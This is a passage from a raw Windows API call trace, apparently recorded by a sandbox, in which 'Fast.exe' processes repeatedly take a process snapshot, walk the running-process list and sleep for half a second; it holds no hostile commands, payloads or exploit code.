lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.023] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.024] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.024] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.025] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.026] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.027] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.029] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0261.029] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0261.030] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0261.031] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0261.032] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0261.033] CloseHandle (hObject=0xe0) returned 1 [0261.033] Sleep (dwMilliseconds=0x1f4) [0261.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0261.640] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.641] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.642] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.643] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.644] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.645] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.646] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.647] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.648] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.649] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0261.649] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.650] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.651] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.653] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.654] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.654] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.655] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.656] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.657] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.658] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.659] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.660] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.660] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.661] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0261.662] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0261.663] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0261.664] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0261.665] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0261.666] CloseHandle (hObject=0xe0) returned 1 [0261.666] Sleep (dwMilliseconds=0x1f4) [0262.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0262.218] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.219] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.219] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.221] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.222] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.223] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.224] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.224] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.226] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.227] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.228] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.229] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.230] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.231] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.232] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.233] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.234] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.235] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.235] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.236] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.237] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.238] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0262.239] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0262.240] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0262.241] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0262.241] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0262.242] CloseHandle (hObject=0xe0) returned 1 [0262.242] Sleep (dwMilliseconds=0x1f4) [0262.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0262.811] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.812] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.813] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.814] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.814] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.815] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.816] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.817] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.818] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.819] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.820] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.821] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.824] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.824] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.825] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: 